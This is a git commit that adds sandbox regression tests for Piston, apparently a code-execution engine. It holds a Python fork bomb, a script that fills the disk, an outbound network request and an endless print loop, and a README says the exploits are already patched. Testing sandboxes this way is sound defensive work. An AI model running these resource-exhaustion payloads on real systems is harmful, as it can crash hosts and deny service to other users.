add exploit payloads
This commit is contained in:
parent
6b138f2377
commit
73391cf718
|
@ -0,0 +1,12 @@
|
||||||
|
"""
|
||||||
|
Description
|
||||||
|
Writing a large file to disk in the jobs directory, exhausting the
|
||||||
|
space will temporarly disable other jobs to be started.
|
||||||
|
|
||||||
|
Discovered by
|
||||||
|
Discord Derpius#9144
|
||||||
|
"""
|
||||||
|
|
||||||
|
with open("beans","w") as f:
|
||||||
|
n = 2**24
|
||||||
|
f.write("I love beans\n"*n)
|
|
@ -0,0 +1,6 @@
|
||||||
|
import os
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
os.fork()
|
||||||
|
except:
|
||||||
|
pass
|
|
@ -0,0 +1,8 @@
|
||||||
|
"""
|
||||||
|
Description
|
||||||
|
Accessing external resources could be potentially dangerous
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
import urllib.request
|
||||||
|
contents = urllib.request.urlopen("https://emkc.org").read()
|
|
@ -0,0 +1,9 @@
|
||||||
|
# Exploit Tests
|
||||||
|
|
||||||
|
This directory contains a collection of exploits which have already been patched
|
||||||
|
|
||||||
|
Write exploits in any language supported by piston.
|
||||||
|
|
||||||
|
Hopefully when running any files in this directory, piston will resist the attack.
|
||||||
|
|
||||||
|
Leave a comment in the code describing how the exploit works.
|
|
@ -0,0 +1,2 @@
|
||||||
|
while True:
|
||||||
|
print("Piston is secure")
|
Loading…
Reference in New Issue